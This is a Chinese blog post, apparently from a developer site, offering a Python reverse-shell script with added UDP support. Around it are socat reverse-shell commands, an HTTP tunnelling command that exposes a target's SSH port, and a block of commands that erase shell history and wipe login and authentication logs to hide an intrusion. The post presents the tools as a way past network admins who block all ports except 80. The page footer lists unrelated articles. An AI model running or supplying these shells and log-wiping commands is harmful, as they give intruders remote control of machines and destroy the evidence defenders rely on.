文档章节

python 反弹shell,加了UDP

超级大黑猫
 超级大黑猫
发布于 2017/03/20 13:53
字数 395
阅读 117
收藏 1
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0

cat /dev/null > /var/run/utmp
cat /dev/null > /var/log/wtmp 
cat /dev/null > /var/log/lastlog
cat /dev/null > /var/log/btmp
cat /dev/null > /var/log/secure
cat /dev/null > /var/log/auth.log

用来对付一些把除了80端口都封了的变态网管

用法 back.py 123.123.123.123 53 udp

nc监听:

nc -l 53 -u

后面不加udp的话还是默认的tcp

因为udp没有sequence的特性,当数据超过1个数据包的大小时会错位,具体多大会分包不太清楚,我记得是1500字节?好像和MTU有关。命令不要打太长就行了(一般情况下好像基本不会有1500个字符的命令)

其实就加了4行……

方法一

# server
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane

# client
socat FILE:`tty`,raw,echo=0 TCP:目标ip:1337

方法二

socat TCP-LISTEN:8337 readline

python b.py 目标ip 8337

# -*- coding:utf-8 -*-
#!/usr/bin/env python
"""
back connect py version,only linux have pty module
code by google security team
UDP by anthrax@insight-labs.org
"""
import sys,os,socket,pty
shell = "/bin/sh"
def usage(name):
    print 'python reverse connector'
    print 'usage: %s <ip_addr> <port> [udp]' % name
 
def main():
    if len(sys.argv) <3:
        usage(sys.argv[0])
        sys.exit()
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        if sys.argv[3]=='udp':
            s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
    except:pass
    try:
        s.connect((sys.argv[1],int(sys.argv[2])))
        print 'connect ok'
    except:
        print 'connect faild'
        sys.exit()
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    global shell
    os.unsetenv("HISTFILE")
    os.unsetenv("HISTFILESIZE")
    os.unsetenv("HISTSIZE")
    os.unsetenv("HISTORY")
    os.unsetenv("HISTSAVE")
    os.unsetenv("HISTZONE")
    os.unsetenv("HISTLOG")
    os.unsetenv("HISTCMD")
    os.putenv("HISTFILE",'/dev/null')
    os.putenv("HISTSIZE",'0')
    os.putenv("HISTFILESIZE",'0')
    pty.spawn(shell)
    s.close()
 
if __name__ == '__main__':
    main()

方法三

java -jar .\reDuhClient.jar http://xxxxx.php 127.0.0.1:8080

ncat.exe -vv 127.0.0.1 1010 之后输入 [createTunnel]1234:127.0.0.1:22

1234端口就是目标的22

 

© 著作权归作者所有

共有 人打赏支持
超级大黑猫
粉丝 8
博文 100
码字总数 37445
作品 0
杭州
程序员
私信 提问
从零开始学习渗透Node.js应用程序

本文来源于i春秋学院,未经许可严禁转载。 0x01 介绍 简单的说 Node.js 就是运行在服务端的 JavaScript。Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。Node.js是一个事件驱动...

i春秋学院
2017/04/18
263
1
ShadowBroker释放的NSA工具部分(windows)fb.py复现和中招检查方法

工具下载 1、Python2.6和pywin32安装包(注意都是32位的,不然会导致调用dll payload文件失败): 复现python和pywin32安装包 (分流下载:http://pan.baidu.com/s/1jHKw0AU 密码:kuij) 2、S...

securityHu
2018/06/26
0
0
Linux下几种反弹Shell方法的总结与理解

  *本文原创作者:LlawLiet,本文属FreeBuf原创奖励计划,未经许可禁止转载。   之前在网上看到很多师傅们总结的linux反弹shell的一些方法,为了更熟练的去运用这些技术,于是自己花精力...

FreeBuf
2018/07/27
0
0
Linux下内网反弹技巧总结与杂谈

导读 靠谱点的公司都不会将应用服务器直接对外,而是通过代理转发或映射等方式对外,当可以执行命令的服务器能够访问公网(这个要看具体情况,比如需要加载公网资源或者其他需求)时,反连技...

问题终结者
2018/07/08
0
0
TIOBE 8 月编程语言榜:Python 差点拿下第 3 名

TIOBE 发布了 8 月份的编程语言排行榜,前四名依然不变,分别是 Java、C、C++ 与 Python,其中值得关注的是 Python 以 6.992% 的占比逼近 7.471% 的 C++,另外 C 指数继续保持增长。 前 20 名...

h4cd
2018/08/07
10K
30

没有更多内容

加载失败,请刷新页面

加载更多

SpringBoot引入第三方jar包或本地jar包的处理方式

在开发过程中有时会用到maven仓库里没有的jar包或者本地的jar包,这时没办法通过pom直接引入,那么该怎么解决呢 一般有两种方法 - 第一种是将本地jar包安装在本地maven库 - 第二种是将本地j...

独钓渔
49分钟前
2
0
五、MyBatis缓存

一、MyBatis缓存介绍 缓存的使用可以明显的加快访问数据速度,提升程序处理性能,生活和工作中,使用缓存的地方很多。在开发过程中,从前端-->后端-->数据库等都涉及到缓存。MyBatis作为数据...

yangjianzhou
今天
2
0
最近研究如何加速UI界面开发,有点感觉了

最近在开发JFinal学院的JBolt开发平台,后端没啥说的,做各种极简使用的封装,开发者上手直接使用。 JBolt开发平台包含常用的用户、角色、权限、字典、全局配置、缓存、增删改查完整模块、电...

山东-小木
今天
3
0
《月亮与六便士》的读后感作文3000字

《月亮与六便士》的读后感作文3000字: 看完英国作家威廉.萨默塞特.毛姆所著《月亮与六便士》(李继宏译),第一疑问就是全书即没提到“月亮”,也没提到“六便士”。那这书名又与内容有什么...

原创小博客
昨天
2
0
微信网页授权获取用户信息(ThinkPHP5)+ 微信发送客服消息(一)

以thinkphp5为实例,创建控制器 class Kf extends Controller { /** * [protected description]微信公众号appid * @var [type] */ protected $appid = "xxxxxxxxxxxxxxx"; /** * [protected......

半缘修道半缘君丶
昨天
2
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部